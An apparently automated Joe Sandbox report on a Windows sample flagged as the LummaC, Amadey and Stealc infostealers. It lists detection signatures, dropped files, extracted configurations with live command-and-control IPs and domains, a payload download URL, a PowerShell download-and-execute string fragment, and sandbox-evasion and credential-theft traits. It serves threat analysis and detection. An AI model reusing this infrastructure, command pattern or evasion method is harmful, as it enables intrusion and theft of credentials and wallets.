Edit tour

Windows Analysis Report
ZBbOXn0a3R.exe

Overview

General Information

Sample name:	ZBbOXn0a3R.exe renamed because original name is a hash value
Original sample name:	f0fba5bd559287917d087ad594193af4.exe
Analysis ID:	1580882
MD5:	f0fba5bd559287917d087ad594193af4
SHA1:	1ddfe7202341a04e9bba18c6f0885f802a62dc3c
SHA256:	0d88b7cdf5b4945cac5ff5bcf4b7ac1b8d64afcc48c8ed5b65d0e82e0f9e35c6
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

ZBbOXn0a3R.exe (PID: 3224 cmdline: "C:\Users\user\Desktop\ZBbOXn0a3R.exe" MD5: F0FBA5BD559287917D087AD594193AF4)

VJV6IQUTCE3IBMH3UJROT.exe (PID: 6556 cmdline: "C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe" MD5: 97B80E7A522A3D40515E954A1FB4B428)

QA4B92LG0Q3PL6TE6NK36C44P92RH.exe (PID: 3472 cmdline: "C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe" MD5: D297F9F22080C6F66B4E9C9156A6FF86)

skotes.exe (PID: 5932 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: D297F9F22080C6F66B4E9C9156A6FF86)

skotes.exe (PID: 4184 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: D297F9F22080C6F66B4E9C9156A6FF86)

skotes.exe (PID: 6316 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: D297F9F22080C6F66B4E9C9156A6FF86)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["inherineau.buzz", "appliacnesot.buzz", "mindhandru.buzz", "cashfuzysao.buzz", "hummskitnj.buzz", "prisonyfork.buzz", "scentniej.buzz", "rebuildeso.buzz", "screwamusresz.buzz"], "Build id": "PsFKDg--pablo"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000003.2759212408.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.2746855415.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.3114854961.0000000000751000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.3086296651.0000000001001000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.2729095318.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.3113044007.0000000000751000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.3397023776.0000000000751000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.2675743273.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2991645944.00000000011DD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000003.2673832624.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2988342509.0000000000631000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000003.2759012924.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ZBbOXn0a3R.exe PID: 3224	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ZBbOXn0a3R.exe PID: 3224	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ZBbOXn0a3R.exe PID: 3224	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: VJV6IQUTCE3IBMH3UJROT.exe PID: 6556	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: VJV6IQUTCE3IBMH3UJROT.exe PID: 6556	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.skotes.exe.750000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.QA4B92LG0Q3PL6TE6NK36C44P92RH.exe.1000000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
9.2.skotes.exe.750000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.2.skotes.exe.750000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	infostealer_win_stealc_str_oct24	Finds Stealc standalone samples (or dumps) based on the strings	Sekoia.io	0x347d8:$str01: -nop -c "iex(New-Object Net.WebClient).DownloadString( 0x34930:$str02: Azure\.IdentityService 0x34954:$str03: steam_tokens.txt 0x345e8:$str04: "encrypted_key":" 0x34710:$str05: prefs.js 0x34788:$str06: browser: FileZilla 0x3479c:$str07: profile: null 0x347ac:$str08: url: 0x347b4:$str09: login: 0x347bc:$str10: password:
Click to see the 1 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T12:51:07.827718+0100	2028371	3	Unknown Traffic	192.168.2.6	49708	172.67.165.185	443	TCP
2024-12-26T12:51:37.611131+0100	2028371	3	Unknown Traffic	192.168.2.6	49763	172.67.165.185	443	TCP
2024-12-26T12:51:40.179888+0100	2028371	3	Unknown Traffic	192.168.2.6	49769	172.67.165.185	443	TCP
2024-12-26T12:51:56.960464+0100	2028371	3	Unknown Traffic	192.168.2.6	49806	172.67.165.185	443	TCP
2024-12-26T12:51:59.447437+0100	2028371	3	Unknown Traffic	192.168.2.6	49813	172.67.165.185	443	TCP
2024-12-26T12:52:02.466464+0100	2028371	3	Unknown Traffic	192.168.2.6	49824	172.67.165.185	443	TCP
2024-12-26T12:52:05.158248+0100	2028371	3	Unknown Traffic	192.168.2.6	49830	172.67.165.185	443	TCP
2024-12-26T12:52:07.723846+0100	2028371	3	Unknown Traffic	192.168.2.6	49836	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T12:51:36.292804+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49708	172.67.165.185	443	TCP
2024-12-26T12:51:38.405455+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49763	172.67.165.185	443	TCP
2024-12-26T12:52:08.484894+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49836	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T12:51:36.292804+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49708	172.67.165.185	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T12:51:38.405455+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49763	172.67.165.185	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T12:51:55.356882+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49769	172.67.165.185	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T12:52:26.232872+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49873	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T12:53:07.053851+0100	2856147	1	A Network Trojan was detected	192.168.2.6	49953	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T12:50:56.937913+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49961	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ZBbOXn0a3R.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://mindhandru.buzz:443/api	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpkE95	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/ineer	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpOE	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpiF&	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/Y5	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php#E	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpx	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpi	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exe?t	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/D	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000008.00000002.3114854961.0000000000751000.00000040.00000001.01000000.0000000A.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}
Source: ZBbOXn0a3R.exe.3224.1.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["inherineau.buzz", "appliacnesot.buzz", "mindhandru.buzz", "cashfuzysao.buzz", "hummskitnj.buzz", "prisonyfork.buzz", "scentniej.buzz", "rebuildeso.buzz", "screwamusresz.buzz"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for submitted file

Source: ZBbOXn0a3R.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: ZBbOXn0a3R.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: 07
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: 01
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: 20
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: 25
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetProcAddress
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: LoadLibraryA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: lstrcatA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: OpenEventA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: CreateEventA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: CloseHandle
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Sleep
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: VirtualFree
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetSystemInfo
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: VirtualAlloc
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: HeapAlloc
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetComputerNameA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: lstrcpyA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetProcessHeap
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetCurrentProcess
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: lstrlenA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: ExitProcess
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetSystemTime
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: advapi32.dll
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: gdi32.dll
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: user32.dll
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: crypt32.dll
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetUserNameA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: CreateDCA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetDeviceCaps
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: ReleaseDC
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: sscanf
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: VMwareVMware
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: HAL9TH
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: JohnDoe
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: DISPLAY
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: http://185.215.113.206
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: /c4becf79229cb002.php
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: /68b591d6548ec281/
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: stok
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetFileAttributesA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: HeapFree
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetFileSize
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GlobalSize
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: IsWow64Process
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Process32Next
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetLocalTime
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: FreeLibrary
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetVolumeInformationA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: Process32First
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetLocaleInfoA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetModuleFileNameA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: DeleteFileA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: FindNextFileA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: LocalFree
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: FindClose
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: LocalAlloc
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetFileSizeEx
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: ReadFile
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: SetFilePointer
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: WriteFile
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: CreateFileA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: FindFirstFileA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: CopyFileA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: VirtualProtect
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetLastError
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: lstrcpynA
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: MultiByteToWideChar
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GlobalFree
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: WideCharToMultiByte
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GlobalAlloc
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: OpenProcess
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: TerminateProcess
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GetCurrentProcessId
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: gdiplus.dll
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: ole32.dll
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: bcrypt.dll
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: wininet.dll
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: shlwapi.dll
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: shell32.dll
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: rstrtmgr.dll
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: SelectObject
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: BitBlt
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: DeleteObject
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: CreateCompatibleDC
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
